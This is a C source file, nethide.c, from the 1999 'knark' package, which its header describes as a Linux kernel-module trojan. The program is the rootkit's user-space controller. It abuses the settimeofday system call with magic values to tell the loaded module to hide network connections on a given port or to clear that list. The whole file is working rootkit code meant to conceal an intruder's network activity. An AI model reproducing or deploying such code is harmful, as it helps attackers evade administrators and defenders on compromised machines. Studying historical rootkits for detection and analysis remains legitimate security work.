text: /*
   * nethide.c, part of the knark package
   * Linux 2.1-2.2 lkm trojan user program
   * (c) Creed @ #hack.se 1999 <creed@sekure.net>
   * 
   * This program may NOT be used in an illegal way,
   * or to cause damage of any kind.
   * 
   * See README for more info.
   */
  
  #include <sys/types.h>
  #include <sys/time.h>
  #include <unistd.h>
  #include <stdio.h>
  #include "knark.h"
  
  
  void usage(const char *progname)
  {
      fprintf(stderr,
  	    "Usage:\n"
  	    "\t%s <string>\n"
              "\t%s -c (clear nethide-list)\n"
  	    "ex: %s \":ABCD\" (will hide connections to/from port 0xABCD)\n",
  	    progname, progname, progname);
      exit(-1);
  }
  
  
  int main(int argc, char *argv[])
  {
      char *hidestr;
      
      author_banner("nethide.c");
      
      if(argc != 2 || !strlen(argv[1]))
  	usage(argv[0]);
      
      if(!strcmp(argv[1], "-c"))
      {
  	if(settimeofday((struct timeval *)KNARK_CLEAR_NETHIDES,
  			(struct timezone *)NULL) == -1)
  	{
  	    perror("settimeofday");
  	    fprintf(stderr, "Have you really loaded knark.o?!\n");
  	    exit(-1);
  	}
  	printf("Done. Nethide list cleared.\n");
  	exit(0);
      }
      
      hidestr = argv[1];
      
      if(settimeofday((struct timeval *)KNARK_ADD_NETHIDE,
  		    (struct timezone *)hidestr) == -1)
      {
  	perror("settimeofday");
  	fprintf(stderr, "Have you really loaded knark.o?!\n");
  	exit(-1);
      }
      
      printf("Done: \"%s\" is now removed\n", hidestr);
      exit(0);
  }
  
  